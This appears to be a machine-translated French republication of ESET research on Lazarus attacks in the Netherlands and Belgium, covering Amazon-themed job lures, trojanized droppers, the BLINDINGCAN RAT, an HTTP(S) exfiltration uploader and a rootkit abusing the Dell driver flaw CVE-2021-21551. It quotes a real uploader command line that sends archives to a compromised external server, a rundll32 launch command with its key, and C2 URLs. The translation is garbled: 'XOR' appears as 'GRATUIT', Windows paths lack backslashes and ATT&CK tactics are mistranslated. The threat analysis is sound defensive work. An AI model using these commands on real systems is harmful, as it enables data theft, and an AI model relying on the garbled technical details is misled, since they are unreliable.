Logo Zéphyrnet

Campagnes de Lazare sur le thème d'Amazon aux Pays-Bas et en Belgique

Date :

Des chercheurs d'ESET ont découvert des attaques Lazarus contre des cibles aux Pays-Bas et en Belgique qui utilisent des e-mails de harponnage liés à de fausses offres d'emploi

Les chercheurs d'ESET ont découvert et analysé un ensemble d'outils malveillants qui ont été utilisés par le tristement célèbre groupe Lazarus APT lors d'attaques à l'automne 2021. La campagne a commencé par des e-mails de harponnage contenant des documents malveillants sur le thème d'Amazon et ciblait un employé d'une entreprise aérospatiale aux Pays-Bas. , et journaliste politique en Belgique. L'objectif principal des attaquants était l'exfiltration de données. Lazarus (également connu sous le nom de HIDDEN COBRA) est actif depuis au moins 2009. Il est responsable d'incidents très médiatisés tels que le Piratage de Sony Pictures Entertainment et des dizaines de millions de dollars cyberbraquages ​​en 2016, WannaCryptor (alias WannaCry) en 2017, et une longue histoire d'attaques perturbatrices contre Infrastructures publiques et critiques sud-coréennes depuis au moins 2011.

Principales conclusions de cet article de blog :

  • La campagne Lazarus visait un employé d'une entreprise aérospatiale aux Pays-Bas et un journaliste politique en Belgique.
  • L'outil le plus notable utilisé dans cette campagne représente le premier abus enregistré de la vulnérabilité CVE-2021-21551. Cette vulnérabilité affecte les pilotes Dell DBUtil ; Dell a fourni une mise à jour de sécurité en mai 2021.
  • Cet outil, combiné à la vulnérabilité, désactive la surveillance de toutes les solutions de sécurité sur les machines compromises. Il utilise des techniques contre les mécanismes du noyau Windows qui n'ont jamais été observés dans les logiciels malveillants auparavant.
  • Lazarus a également utilisé dans cette campagne sa porte dérobée HTTP(S) complète connue sous le nom de BLINDINGCAN.
  • La complexité de l'attaque indique que Lazare se compose d'une grande équipe qui est systématiquement organisée et bien préparée.

Les deux cibles ont reçu des offres d'emploi - l'employé aux Pays-Bas a reçu une pièce jointe via LinkedIn Messaging, et la personne en Belgique a reçu un document par e-mail. Les attaques ont commencé après l'ouverture de ces documents. Les attaquants ont déployé plusieurs outils malveillants sur chaque système, notamment des droppers, des chargeurs, des portes dérobées HTTP(S) complètes, des téléchargeurs et des téléchargeurs HTTP(S). Le point commun entre les droppers était qu'il s'agissait de projets open source trojanisés qui déchiffraient la charge utile intégrée à l'aide de chiffrements par blocs modernes avec de longues clés transmises comme arguments de ligne de commande. Dans de nombreux cas, les fichiers malveillants sont des composants DLL qui ont été chargés latéralement par des EXE légitimes, mais à partir d'un emplacement inhabituel dans le système de fichiers.

L'outil le plus remarquable fourni par les attaquants était un module en mode utilisateur qui a acquis la capacité de lire et d'écrire dans la mémoire du noyau en raison de la CVE-2021-21551 vulnérabilité dans un pilote Dell légitime. Il s'agit du premier abus jamais enregistré de cette vulnérabilité dans la nature. Les attaquants ont ensuite utilisé leur accès en écriture à la mémoire du noyau pour désactiver sept mécanismes proposés par le système d'exploitation Windows pour surveiller ses actions, comme le registre, le système de fichiers, la création de processus, le suivi des événements, etc., aveuglant essentiellement les solutions de sécurité de manière très générique et robuste.

Dans cet article de blog, nous expliquons le contexte de la campagne et fournissons une analyse technique détaillée de tous les composants. Cette recherche a été présentée cette année Conférence Virus Bulletin. En raison de son originalité, l'accent principal de la présentation est mis sur le composant malveillant utilisé dans cette attaque qui utilise la technique BYOVD (Bring Your Own Vulnerable Driver) et exploite la vulnérabilité CVE-2021-21551 susmentionnée. Des informations détaillées sont disponibles dans le livre blanc Lazarus & BYOVD : le mal au cœur de Windows.

Nous attribuons ces attaques à Lazarus avec une grande confiance, sur la base des modules spécifiques, du certificat de signature de code et de l'approche d'intrusion en commun avec les campagnes Lazarus précédentes comme Opération In(ter)ception  et Opération DreamJob. La diversité, le nombre et l'excentricité dans la mise en œuvre des campagnes Lazarus définissent ce groupe, ainsi que le fait qu'il exécute les trois piliers des activités cybercriminelles : cyberespionnage, cybersabotage et poursuite du gain financier.

Accès initial

Les chercheurs d'ESET ont découvert deux nouvelles attaques : l'une contre le personnel d'un média en Belgique et l'autre contre un employé d'une entreprise aérospatiale aux Pays-Bas.

Aux Pays-Bas, l'attaque a touché un ordinateur Windows 10 connecté au réseau de l'entreprise, où un employé a été contacté via LinkedIn Messaging au sujet d'un supposé nouvel emploi potentiel, ce qui a entraîné l'envoi d'un e-mail avec un document en pièce jointe. Nous avons contacté le professionnel de la sécurité de l'entreprise concernée, qui a pu partager le document malveillant avec nous. Le fichier Word Amzon_Pays-Bas.docx envoyé à la cible est simplement un document de contour avec un logo Amazon (voir Figure 1). Lorsqu'il est ouvert, le modèle distant https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=_DO.PROJ (OÙ est un nombre à sept chiffres) est récupéré. Nous n'avons pas pu acquérir le contenu, mais nous supposons qu'il contenait peut-être une offre d'emploi pour le programme spatial Amazon, Projet Kuiper. C'est une méthode que Lazare a pratiquée dans le Opération In(ter)ception et Opération DreamJob campagnes ciblant les industries de l'aérospatiale et de la défense.

Figure 1. Document sur le thème d'Amazon envoyé à la cible aux Pays-Bas

En quelques heures, plusieurs outils malveillants ont été livrés au système, notamment des droppers, des chargeurs, des portes dérobées HTTP(S) complètes, des téléchargeurs HTTP(S) et des téléchargeurs HTTP(S) ; voir la section Ensemble d'outils.

En ce qui concerne l'attaque en Belgique, l'employé d'une société de journalisme (dont l'adresse e-mail était accessible au public sur le site Web de l'entreprise) a été contacté via un message électronique avec le leurre AWS_EMEA_Legal_.docx ci-joint. Comme nous n'avons pas obtenu le document, nous ne connaissons que son nom, ce qui suggère qu'il s'agissait peut-être d'une offre d'emploi dans un poste légal. Après l'ouverture du document, l'attaque a été déclenchée, mais stoppée immédiatement par les produits ESET, avec un seul exécutable malveillant impliqué. L'aspect intéressant ici est qu'à cette époque, ce binaire était valablement signé avec un certificat de signature de code.

attribution

Nous attribuons les deux attaques au groupe Lazarus avec un haut niveau de confiance. Ceci est basé sur les facteurs suivants, qui montrent des relations avec d'autres campagnes Lazarus :

  1. Logiciels malveillants (le jeu d'intrusion) :
    1. La porte dérobée HTTPS (SHA‑1 : 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) présente de fortes similitudes avec la porte dérobée BLINDINGCAN, rapportée par CISA (US-CERT), et attribué à HIDDEN COBRA, qui est leur nom de code pour Lazarus.
    2. L'uploader HTTP(S) présente de fortes similitudes avec l'outil C:ProgramDataIBM~DF234.TMP mentionné dans le rapport de HvS Consulting, Section 2.10 Exfiltration.
    3. Le chemin et le nom complet du fichier, %TOUS LES PROFILS DES UTILISATEURS%AdobeAdobe.tmp, est identique à celui rapporté par Kaspersky en février 2021 dans un livre blanc sur le Opération ThreatNeedle, qui cible l'industrie de la défense.
    4. Le certificat de signature de code, qui a été délivré à la société américaine CABINET MÉDICAL "A", SARL et utilisé pour signer l'un des compte-gouttes, a également été signalé dans la campagne contre les chercheurs en sécurité; voir aussi groupe Lazarus : campagne 2 TOY GUYS, Rapport ESET sur les menaces 2021 T1, page 11.
    5. Un type de cryptage inhabituel a été utilisé dans les outils de cette campagne Lazarus : HC-128. D'autres chiffrements moins répandus utilisés par Lazarus dans le passé : une variante Spritz de RC4 dans les attentats au point d'eau contre les banques polonaises et mexicaines; plus tard, Lazarus a utilisé un RC4 modifié dans Opération In(ter)ception; un chiffrement de flux A5 / 1 modifié a été utilisé dans Attaque de la chaîne d'approvisionnement WIZVERA VeraPort.
  2. Infrastructure:
    1. Pour le serveur C&C de premier niveau, les attaquants n'utilisent pas leurs propres serveurs, mais piratent ceux qui existent déjà. C'est un comportement typique, mais de faible confiance, de Lazare.

Toolset

L'un des traits typiques de Lazarus est sa livraison de la charge utile finale sous la forme d'une séquence de deux ou trois étapes. Cela commence par un dropper - généralement une application open source trojanisée - qui déchiffre la charge utile intégrée avec un chiffrement par blocs moderne comme AES-128 (ce qui n'est pas inhabituel pour Lazarus, par exemple, Codes d'opération, ou un XOR masqué, après avoir analysé les arguments de la ligne de commande pour une clé forte. Bien que la charge utile intégrée ne soit pas déposée sur le système de fichiers mais chargée directement dans la mémoire et exécutée, nous désignons ces logiciels malveillants par un compte-gouttes. Les logiciels malveillants qui n'ont pas de tampon chiffré, mais qui chargent une charge utile à partir d'un système de fichiers, nous les désignons comme un chargeur.

Les compte-gouttes peuvent (tableau 1) ou non (tableau 2) être chargés latéralement par un processus légitime (Microsoft). Dans le premier cas ici, l'application légitime se trouve à un endroit inhabituel et le composant malveillant porte le nom de la DLL correspondante qui fait partie des importations de l'application. Par exemple, la DLL malveillante coloui.dll est chargé latéralement par une application système légitime Panneau de configuration des couleurs (colorcpl.exe), tous deux situés à C:ProgramDataPTC. Cependant, l'emplacement habituel de cette application légitime est %WINDOWS%Système32.

Dans tous les cas, au moins un argument de ligne de commande est passé pendant l'exécution qui sert de paramètre externe requis pour déchiffrer la charge utile intégrée. Divers algorithmes de décryptage sont utilisés ; voir la dernière colonne du tableau 1 et du tableau 2. Dans plusieurs cas, lorsque AES-128 est utilisé, il existe également un paramètre interne codé en dur avec le nom du processus parent et son nom DLL, tous requis pour un déchiffrement réussi.

Tableau 1. DLL malveillantes chargées latéralement par un processus légitime à partir d'un emplacement inhabituel

Dossier d'emplacement Processus parent légitime DLL malveillante à chargement latéral Projet cheval de Troie Paramètre externe Algorithme de déchiffrement
C:ProgramDataPTC colorcpl.exe colorui.dll libcrypto de LibreSSL 2.6.5 BE93E050D9C0EAEB1F0E6AE13C1595B5
(Charge BLINDINGCAN)
GRATUIT
C:WindowsVss WFS.exe credui.dll GOnpp v1.2.0.0 (plug-in Notepad++) A39T8kcfkXymmAcq
(Charge le chargeur intermédiaire)
AES-128
C: Sécurité Windows WFS.exe credui.dll FingerText 0.56.1 (plug-in Notepad++) N/D AES-128
C:ProgramDataCaphyon wsmprovhost.exe mi.dll lecui 1.0.0 alpha 10 N/D AES-128
C:WindowsMicrosoft.NETFramework64v4.0.30319 SMSvcHost.exe cryptsp.dll lecui 1.0.0 alpha 10 N/D AES-128

Tableau 2. Autres logiciels malveillants impliqués dans l'attaque

Dossier d'emplacement Malware Projet cheval de Troie Paramètre externe Algorithme de déchiffrement
C: cache public msdxm.ocx libpcre 8.44 93E41C6E20911B9B36BC
(Charge le téléchargeur HTTP(S))
GRATUIT
C:ProgramDataAdobe Adobe.tmp SQLite 3.31.1 S0RMM‑50QQE‑F65DN‑DCPYN‑5QEQA
(Charge le programme de mise à jour HTTP(S))
GRATUIT
C: cache public msdxm.ocx sslSniffer Manquant HC-128

Après un déchiffrement réussi, le tampon est vérifié pour le bon format PE et l'exécution lui est transmise. Cette procédure peut être trouvée dans la plupart des droppers et loaders. Le début de celui-ci est visible sur la figure 2.

Figure 2. Le tampon déchiffré est un exécutable 64 bits

Porte dérobée HTTP(S) : BLINDINGCAN

Nous avons identifié une porte dérobée HTTP(S) complète - un RAT connu sous le nom de BLINDINGCAN - utilisée dans l'attaque.

Le compte-gouttes de cette charge utile a été exécuté comme %ALLUSERSPROFILE%PTCcolorui.dll; voir le tableau 1 pour plus de détails. La charge utile est extraite et déchiffrée à l'aide d'un simple XOR mais avec une clé longue, qui est une chaîne construite en concaténant le nom du processus parent, son propre nom de fichier et le paramètre de ligne de commande externe - ici COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5.

La charge utile, SHA-1 : 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, est une DLL 64 bits compatible avec VMProtect. Une connexion est établie avec l'un des emplacements distants https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. Dans le code virtualisé, nous avons pivoté via les artefacts RTTI très spécifiques suivants trouvés dans l'exécutable : .?AVCHTTP_Protocol@@, .?AVCFileRW@@. De plus, il y a une similitude au niveau du code, car les indices des commandes commencent par la même valeur, 8201; voir Figure 3. Cela nous a permis d'identifier ce RAT comme BLINDINGCAN (SHA-1 : 5F4FBD57319BD0D2DF31131E864FDDA9590A652D), rapporté pour la première fois par CISA. La version récente de cette charge utile a été observée dans une autre campagne sur le thème d'Amazon, où BLINDINGCAN a été abandonné par un client trojanisé Putty-0.77 : voir le blog de Mandiant.

Figure 3. Comparaison de code des variantes simples (supérieures, non protégées) et virtualisées (inférieures, VMProtect-ed) de BLINDINGCAN, avec un accord de deux indices de commande, 8256 et 8201

En fonction du nombre de codes de commande disponibles pour l'opérateur, il est probable qu'un contrôleur côté serveur soit disponible pour que l'opérateur puisse contrôler et explorer les systèmes compromis. Les actions effectuées dans ce contrôleur entraînent probablement l'envoi des ID de commande correspondants et de leurs paramètres au RAT exécuté sur le système de la cible. La liste des codes de commande se trouve dans le tableau 3 et concorde avec l'analyse faite par JPCERT/CC, Annexe C. Il n'y a pas de contrôle de validation des paramètres tels que les noms de dossier ou de fichier. Cela signifie que toutes les vérifications doivent être implémentées côté serveur, ce qui suggère que le contrôleur côté serveur est une application complexe, très probablement avec une interface graphique conviviale.

Tableau 3. Les commandes du RAT

Command Description
8201 Envoyez des informations système telles que le nom de l'ordinateur, la version de Windows et la page de codes.
8208 Obtenez les attributs de tous les fichiers dans les dossiers RDP mappés (tsclientC etc).
8209 Obtenir récursivement les attributs des fichiers locaux.
8210 Exécutez une commande dans la console, stockez la sortie dans un fichier temporaire et téléchargez-la.
8211 Compressez les fichiers dans un dossier temporaire et téléchargez-les.
8212 Téléchargez un fichier et mettez à jour ses informations de temps.
8214 Créez un nouveau processus dans la console et collectez la sortie.
8215 Créez un nouveau processus dans le contexte de sécurité de l'utilisateur représenté par le jeton spécifié et collectez la sortie.
8217 Créez de manière récursive une liste d'arborescence de processus.
8224 Terminer un processus.
8225 Supprimer un fichier en toute sécurité.
8226 Activer les E/S non bloquantes via le socket TCP (socket(AF_INET , SOCK_STREAM , IPPROTO_TCP) avec le code de contrôle FIONBIO).
8227 Définit le répertoire courant pour le processus en cours.
8231 Mettre à jour les informations temporelles du fichier sélectionné.
8241 Envoyez la configuration actuelle au serveur C&C.
8242 Mettez à jour la configuration.
8243 Répertorier récursivement la structure du répertoire.
8244 Obtenir le type et l'espace disque libre d'un lecteur.
8249 Continuez avec la commande suivante.
8256 Demander une autre commande au serveur C&C.
8262 Réécrivez un fichier sans changer son heure de dernière écriture.
8264 Copiez un fichier vers une autre destination.
8265 Déplacer un fichier vers une autre destination.
8272 Supprimer un fichier.
8278 Prendre une capture d'écran.

Chargeur intermédiaire

Nous décrivons maintenant une chaîne en trois étapes où, malheureusement, nous n'avons pu identifier que les deux premières étapes : un dropper et un chargeur intermédiaire.

Le premier étage est un compte-gouttes situé à C:WindowsVscredui.dll et a été exécuté via une application légitime - mais vulnérable au détournement d'ordre de recherche de DLL - avec le paramètre (externe) C:WindowsVssWFS.exe A39T8kcfkXymmAcq. Le programme WFS.exe est une copie de l'application Windows Fax and Scan, mais son emplacement standard est %WINDOWS%Système32.

Le compte-gouttes est un cheval de Troie plug-in GOnpp pour Notepad++, écrit dans le langage de programmation Go. Après le déchiffrement, le dropper vérifie si le tampon est un exécutable 64 bits valide et, si c'est le cas, le charge en mémoire, de sorte que la deuxième étape soit prête à être exécutée.

Le but de cette étape intermédiaire est de charger une charge utile supplémentaire en mémoire et de l'exécuter. Il effectue cette tâche en deux étapes. Il lit et déchiffre d'abord le fichier de configuration C:windowsSystem32wlansvc.cpl, qui n'est pas, comme son extension pourrait le suggérer, un exécutable (crypté), mais un fichier de données contenant des morceaux de 14944 octets avec configuration. Nous n'avions pas les données particulières de l'attaque actuelle ; cependant, nous avons obtenu une telle configuration à partir d'une autre attaque Lazarus : voir la figure 5. La configuration devrait commencer par un double mot représentant la taille totale du tampon restant (voir la ligne 69 dans la figure 4 ci-dessous et la variable u32TailleTotale), suivi d'un tableau de 14944 des structures d'un octet de long contenant au moins deux valeurs : le nom de la DLL de chargement comme espace réservé pour identifier le reste de la configuration (au décalage 168 de la ligne 74 sur la figure 4 et le membre en surbrillance sur la figure 5).

Figure 4. La première étape de déchiffrement du fichier de configuration et de vérification si le nom de la DLL de chargement correspond à celui attendu

La deuxième étape est l'action de lire, décrypter et charger ce fichier qui représente très probablement la troisième et dernière étape. Il devrait s'agir d'un exécutable 64 bits et est chargé dans la mémoire de la même manière que le dropper de premier étage a géré le chargeur intermédiaire. Au début de l'exécution, un mutex est créé comme une concaténation de la chaîne GlobalAppCompatCacheObjectGlobalAppCompatCacheObject et la somme de contrôle CRC32 de son nom DLL (credui.dll) représenté sous la forme d'un entier signé. La valeur doit être égale GlobalAppCompatCacheObject-1387282152 if wlansvc.cpl existe et - 1387282152 autrement.

Figure 5. Une configuration du chargeur intermédiaire. Le nom de fichier en surbrillance doit correspondre au nom du logiciel malveillant en cours d'exécution ; voir également la figure 4.

Un fait intéressant est l'utilisation de cet algorithme de déchiffrement (Figure 4, lignes 43 et 68), qui n'est pas si répandu dans l'ensemble d'outils Lazarus ni dans les logiciels malveillants en général. Les constantes 0xB7E15163 et 0x61C88647 (lequel est -0x9E3779B9; voir Figure 6, lignes 29 et 35) dans l'extension clé suggère qu'il s'agit de l'algorithme RC5 ou RC6. En vérifiant la boucle de décryptage principale de l'algorithme, on identifie qu'il s'agit du plus complexe des deux, RC6. BananaUsurper d'Equations Group est un exemple d'une menace sophistiquée utilisant un cryptage aussi rare ; voir Le rapport de Kaspersky à partir 2016.

Figure 6. Extension clé de RC6

Téléchargeur HTTP(S)

Un téléchargeur utilisant les protocoles HTTP(S) a également été livré sur le système de la cible.

Il a été installé par un compte-gouttes de premier étage (SHA1 : 001386CBBC258C3FCC64145C74212A024EAA6657), qui est un cheval de Troie libpcre-8.44 bibliothèque. Il a été exécuté par la commande

cmd.exe /c start /b rundll32.exe C:PublicCachemsdxm.ocx,sCtrl 93E41C6E20911B9B36BC

(le paramètre est une clé XOR pour extraire la charge utile intégrée ; voir le tableau 2). Le compte-gouttes atteint également la persistance en créant le OneNoteTray.LNK fichier situé dans le %APPDATA%MicrosoftWindowsMenu DémarrerProgrammesDémarrage dossier.

La deuxième étape est un module 32 bits VMProtect-ed qui fait une demande de connexion HTTP à un serveur C&C stocké dans sa configuration ; voir Figure 7. Il utilise le même agent utilisateur –Mozilla/5.0 (Windows NT 6.1 ; WOW64) Chrome/28.0.1500.95Safari/537.36 – en tant que BLINDINGCAN RAT, contient l'artefact RTTI .?AVCHTTP_Protocole@@ mais pas .?AVCFichierRW@@, et manque de fonctionnalités telles que la prise de captures d'écran, l'archivage de fichiers ou l'exécution d'une commande via la ligne de commande. Il est capable de charger un exécutable dans un bloc de mémoire nouvellement alloué et de lui transmettre l'exécution du code.

Figure 7. Une configuration du téléchargeur HTTP(S). Les valeurs en surbrillance sont la taille de la configuration et le nombre d'URL. Dans l'attaque que nous avons observée, toutes les URL étaient identiques.

Téléchargeur HTTP(S)

Cet outil Lazarus est responsable de l'exfiltration des données, en utilisant les protocoles HTTP ou HTTPS.

Il est également livré en deux étapes. Le compte-gouttes initial est un cheval de Troie sqlite-3.31.1 bibliothèque. Les échantillons Lazarus ne contiennent généralement pas de chemin PDB, mais ce chargeur en a un, W:DevelopToolHttpUploaderHttpPOSTPro_BINRUNDLL64sqlite3.pdb, qui suggère également sa fonctionnalité immédiatement - un HTTP Uploader.

Le dropper attend plusieurs paramètres de ligne de commande : l'un d'eux est un mot de passe requis pour déchiffrer et charger la charge utile intégrée ; le reste des paramètres est transmis à la charge utile. Nous n'avons pas saisi les paramètres, mais heureusement, une utilisation dans la nature de cet outil a été observée lors d'une enquête médico-légale par Conseil HvS:

C:ProgramDataIBM~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:ProgramDataIBMrestore0031.dat data03 10000 -p 192.168.1.240 8080

Le premier paramètre, S0RMM-50QQE-F65DN-DCPYN-5QEQA, a fonctionné comme une clé pour la routine de décryptage du compte-gouttes (pour être plus précis, une obfuscation a d'abord été effectuée, où le tampon crypté a été XOR-ed avec sa copie décalée d'un octet ; puis un décryptage XOR avec la clé suivie). Le reste des paramètres est stocké dans une structure et transmis à la deuxième étape. Pour l'explication de leurs significations, voir le tableau 4.

Tableau 4. Paramètres de ligne de commande pour le programme de mise à jour HTTP(S)

Paramètre Valeur Explication
1 S0RMM-50QQE-F65DN-DCPYN-5QEQA Une clé de déchiffrement de 29 octets.
2 https:// C&C pour l'exfiltration de données.
3 C:ProgramDataIBMrestore0031.dat Le nom d'un volume RAR local.
4 data03 Le nom de l'archive côté serveur.
5 10,000 La taille d'un split RAR (max 200,000 XNUMX ko).
6 N/D Indice de départ d'une scission.
7 N/D Indice de fin d'un fractionnement.
8 -p192.168.1.240 8080 Un interrupteur intelligent -p
9 Adresse IP proxy
10 Port proxy

La deuxième étape est le téléchargeur HTTP lui-même. Le seul paramètre pour cette étape est une structure contenant le serveur C&C pour l'exfiltration, le nom de fichier d'une archive RAR locale, le nom racine d'une archive RAR côté serveur, la taille totale d'un RAR divisé en kilo-octets, un gamme d'indices fractionnés, et un facultatif -p commutateur avec l'IP proxy interne et un port ; voir le tableau 4. Par exemple, si l'archive RAR est divisée en 88 morceaux, chacun de 10,000 XNUMX ko, le téléchargeur soumettra ces fractionnements et les stockera côté serveur sous des noms data03.000000.avi, data03.000001.avi, ..., data03.000087.avi. Voir Figure 8, Ligne 42 où ces chaînes sont formatées.

Le User-Agent est le même que pour BLINDINGCAN et le téléchargeur HTTP(S),  Mozilla/5.0 (Windows NT 6.1 ; WOW64) Chrome/28.0.1500.95 Safari/537.36.

Figure 8. L'exfiltration de RAR se divise vers un serveur C&C

Rootkit FudModule

Nous avons identifié une bibliothèque liée dynamiquement avec le nom interne FudModule.dll qui tente de désactiver diverses fonctionnalités de surveillance de Windows. Il le fait en modifiant les variables du noyau et en supprimant les rappels du noyau, ce qui est possible car le module acquiert la capacité d'écrire dans le noyau en tirant parti des techniques BYOVD - les techniques spécifiques CVE-2021-21551 vulnérabilité dans le pilote Dell dbutil_2_3.sys.

L'analyse complète de ce malware est disponible sous la forme d'un document VB2022 Lazarus & BYOVD : le mal au cœur de Windows.

Autres logiciels malveillants

Des droppers et des chargeurs supplémentaires ont été découverts dans les attaques, mais nous n'avons pas obtenu les paramètres nécessaires pour déchiffrer les charges utiles intégrées ou les fichiers chiffrés.

Lecui trojanisé

Un projet lecui d'Alec Musafa a servi aux attaquants de base de code pour le cheval de Troie de deux chargeurs supplémentaires. Par leurs noms de fichiers, ils étaient déguisés en bibliothèques Microsoft mi.dll (Infrastructures de gestion) et cryptsp.dll (API du fournisseur de services cryptographiques), respectivement, et cela était dû au chargement latéral prévu par les applications légitimes wsmprovhost.exe et SMSvcHost.exe, respectivement; voir tableau 1.

Le but principal de ces chargeurs est de lire et de déchiffrer les exécutables situés dans des flux de données alternatifs (ADS) à C:ProgramDataCaphyonmi.dll:Zone.Identifier et C:Fichiers de programmeWindows Media PlayerSkinsDarkMode.wmz:Zone.Identifier, respectivement. Comme nous n'avons pas acquis ces fichiers, on ne sait pas quelle charge utile y est cachée ; cependant, la seule certitude est qu'il s'agit d'un exécutable, puisque le processus de chargement suit le décryptage (voir Figure 2). L'utilisation de l'ADS n'est pas nouvelle, car Ahnlab a signalé une Attaque de Lazarus contre des entreprises sud-coréennes en juin 2021 impliquant de telles techniques.

FingerText trojanisé

ESET a bloqué une autre application open source cheval de Troie, FingerText 0.5.61 par erinata, situé à %WINDIR%securitycredui.dll. Les paramètres de ligne de commande corrects ne sont pas connus. Comme dans certains des cas précédents, trois paramètres étaient requis pour le déchiffrement AES-128 de la charge utile intégrée : le nom du processus parent, WFS.exe; le paramètre interne, mg89h7MsC5Da4ANi; et le paramètre externe manquant.

sslSniffer cheval de Troie

L'attaque contre une cible en Belgique a été bloquée au début de sa chaîne de déploiement, de sorte qu'un seul fichier a été identifié, un dropper 32 bits situé à C:PublicCachemsdxm.ocx. C'est un composant sslSniffer du loupSSL projet qui a été trojanisé. Au moment de l'attentat, il était valablement signé avec un certificat délivré à CABINET MÉDICAL "A", SARL (voir figure 8), qui a depuis expiré.

Figure 9. Certificat validement signé mais déjà expiré

Il a deux exportations malveillantes que la DLL légitime n'a pas : SetOfficeCertInit et SetOfficeCertSetOfficeCert. Les deux exportations nécessitent exactement deux paramètres. Le but de la première exportation est d'établir la persistance en créant OfficeSync.LNK, situé dans %APPDATA%MicrosoftWindowsMenu DémarrerProgrammesDémarrage, pointant vers la DLL malveillante et exécutant sa deuxième exportation via rundll32.exe avec les paramètres passés à lui-même.

La deuxième exportation, SetOfficeCertSetOfficeCert, utilise le premier paramètre comme clé pour déchiffrer la charge utile intégrée, mais nous n'avons pas pu l'extraire, car la clé ne nous est pas connue.

L'algorithme de déchiffrement est également intéressant car les attaquants utilisent HC-128 avec la clé de 128 bits comme premier paramètre et pour son vecteur d'initialisation de 128 bits, la chaîne ffffffffffffffff. Les constantes révélant le chiffrement sont affichées dans la figure 10.

Figure 10. La configuration de la clé avec des constantes en surbrillance suggérant le chiffrement HC-128

Conclusion

Dans cette attaque, ainsi que dans de nombreuses autres attribuées à Lazarus, nous avons vu que de nombreux outils étaient distribués même sur un seul terminal ciblé dans un réseau d'intérêt. Sans aucun doute, l'équipe derrière l'attaque est assez grande, systématiquement organisée et bien préparée. Pour la première fois dans la nature, les attaquants ont pu tirer parti de CVE-2021-21551 pour désactiver la surveillance de toutes les solutions de sécurité. Cela n'a pas seulement été fait dans l'espace du noyau, mais aussi de manière robuste, en utilisant une série d'éléments internes Windows peu ou non documentés. Sans aucun doute, cela nécessitait des compétences approfondies en matière de recherche, de développement et de test.

Du point de vue des défenseurs, il semble plus facile de limiter les possibilités d'accès initial que de bloquer l'ensemble d'outils robustes qui seraient installés après que des attaquants déterminés aient pris pied dans le système. Comme dans de nombreux cas par le passé, un employé en proie à l'appât des attaquants était ici le point de défaillance initial. Dans les réseaux sensibles, les entreprises devraient insister pour que les employés ne poursuivent pas leurs agendas personnels, comme la recherche d'emploi, sur des appareils appartenant à l'infrastructure de leur entreprise.

Pour toute question concernant nos recherches publiées sur WeLiveSecurity, veuillez nous contacter à menaceintel@eset.com.

ESET Research propose désormais également des rapports de renseignement APT privés et des flux de données. Pour toute demande concernant ce service, rendez-vous sur Intelligence des menaces ESET .

IoCs

Une liste complète des indicateurs de compromission et des exemples sont disponibles dans notre GitHub dépôt.

SHA-1 Nom de fichier Détection Description
296D882CB926070F6E43C99B9E1683497B6F17C4 FudModule.dll Win64/Rootkit.NukeSped.A Un module en mode utilisateur qui fonctionne avec la mémoire du noyau.
001386CBBC258C3FCC64145C74212A024EAA6657 C:PublicCachemsdxm.ocx Win32/NukeSped.KQ Un compte-gouttes du téléchargeur HTTP(S).
569234EDFB631B4F99656529EC21067A4C933969 colorui.dll Win64/NukeSped.JK Un compte-gouttes de BLINDINGCAN chargé latéralement par un colorcpl.exe légitime.
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 N/D Win64/NukeSped.JK Une variante 64 bits du BLINDINGCAN RAT.
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 N/D Win32/NukeSped.KQ Un téléchargeur HTTP(S).
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 Adobe.tmp Win64/NukeSped.JD Un dropper de l'uploader HTTP(S).
97DAAB7B422210AB256824D9759C0DBA319CA468 credui.dll Win64/NukeSped.JH Un compte-gouttes d'un chargeur intermédiaire.
FD6D0080D27929C803A91F268B719F725396FE79 N/D Win64/NukeSped.LP Un téléchargeur HTTP(S).
83CF7D8EF1A241001C599B9BCC8940E089B613FB N/D Win64/NukeSped.JH Un chargeur intermédiaire qui charge une charge utile supplémentaire à partir du système de fichiers.
C948AE14761095E4D76B55D9DE86412258BE7AFD DBUtil_2_3.sys Win64/DBUtil.A Un pilote vulnérable légitime de Dell, abandonné par FudModule.dll.
085F3A694A1EECDE76A69335CD1EA7F345D61456 cryptsp.dll Win64/NukeSped.JF Un compte-gouttes sous la forme d'une bibliothèque lecui trojanisée.
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 mi.dll Win64/NukeSped.JF Un compte-gouttes sous la forme d'une bibliothèque lecui trojanisée.
806668ECC4BFB271E645ACB42F22F750BFF8EE96 credui.dll Win64/NukeSped.JC Un plug-in FingerText protégé par un cheval de Troie pour Notepad++.
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 msdxm.ocx Win32/NukeSped.KT Une version trojanisée du sslSniffer de LibreSSL.

Réseau

IP Provider Vu la première fois Détails
67.225.140[.]4 Web liquide, LLC 2021-10-12 Un site WordPress légitime compromis hébergeant le serveur C&C
https://turnscor[.]com/wp-includes/feedback.php
50.192.28[.]29 Comcast Cable Communications, LLC 2021-10-12 Un site légitime compromis hébergeant le serveur C&C https://aquaprographix[.]com/patterns/Map/maps.php
31.11.32[.]79 Aruba Spa 2021-10-15 Un site légitime compromis hébergeant le serveur C&C http://www.stracarrara[.]org/images/img.asp

Techniques d'ATT&CK D'ONGLET

Ce tableau a été construit avec Version 11 du cadre MITRE ATT&CK.

Tactique ID Nom Description
Internationaux T1106 API native La porte dérobée HTTP(S) de Lazarus utilise l'API Windows pour créer de nouveaux processus.
T1059.003 Interpréteur de commandes et de scripts : Shell de commandes Windows Le malware de porte dérobée HTTP(S) utilise cmd.exe pour exécuter des outils de ligne de commande
Évasion défensive T1140 Désobscurcir/décoder des fichiers ou des informations De nombreux outils Lazarus sont stockés dans un état crypté sur le système de fichiers.
T1070.006 Suppression de l'indicateur sur l'hôte : Timestomp La porte dérobée HTTP(S) de Lazarus peut modifier les attributs de temps de fichier d'un fichier sélectionné.
T1574.002 Flux d'exécution de piratage : chargement latéral de DLL De nombreux compte-gouttes et chargeurs Lazarus utilisent un programme légitime pour leur chargement.
T1014 Rootkit Le module utilisateur-noyau de Lazarus peut désactiver les fonctionnalités de surveillance du système d'exploitation.
